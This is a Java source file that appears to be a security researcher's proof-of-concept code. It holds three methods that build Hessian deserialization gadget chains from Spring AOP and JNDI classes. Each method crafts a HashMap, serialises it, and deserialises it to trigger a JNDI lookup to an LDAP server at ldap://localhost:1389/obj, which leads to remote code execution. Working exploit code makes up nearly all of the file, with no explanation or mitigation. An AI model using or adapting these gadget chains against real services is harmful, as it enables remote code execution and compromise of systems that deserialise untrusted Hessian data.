1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239
| package com.just;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import com.sun.org.apache.xpath.internal.objects.XString; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap;
public class Demo4 { public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
@SuppressWarnings({ "unchecked" }) public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); }
public static void main(String[] args) throws Exception {
poc3(); }
public static void poc1() throws Exception { String jndiUrl = "ldap://localhost:1389/obj"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog()); setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(aif, "beanFactory", bf); setFieldValue(aif, "name", jndiUrl);
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(advice, "aspectInstanceFactory", aif);
AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); Object pcah = createWithoutConstructor(pcahCl); setFieldValue(pcah, "advisor", advisor);
HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); XString xString = new XString("xxx"); hashMap1.put("yy", pcah); hashMap1.put("zZ", xString); hashMap2.put("yy", xString); hashMap2.put("zZ", pcah);
HashMap map = new HashMap(); Field size = map.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(map, 2); Class<?> aClass = Class.forName("java.util.HashMap$Node"); Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass); constructor.setAccessible(true); Object o = Array.newInstance(aClass, 2); Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null)); Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null)); Field table = map.getClass().getDeclaredField("table"); table.setAccessible(true); table.set(map, o);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(map); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); hessian2Input.readObject(); }
public static void poc2() throws Exception { String jndiUrl = "ldap://localhost:1389/obj"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl);
setFieldValue(bf, "logger", new NoOpLog()); setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(aif, "beanFactory", bf); setFieldValue(aif, "name", jndiUrl);
AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(advice, "aspectInstanceFactory", aif);
AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); Object pcah = createWithoutConstructor(pcahCl); setFieldValue(pcah, "advisor", advisor);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> map = new HashMap<>(); setFieldValue(map, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(map, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(map); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); hessian2Input.readObject(); }
public static void poc3() throws Exception{ String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); setFieldValue(bf, "logger", new NoOpLog()); setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(jndiUrl);
HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null)); Array.set(tbl, 1, nodeCons.newInstance(0, pcadv, pcadv, null)); setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(s); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); } }
|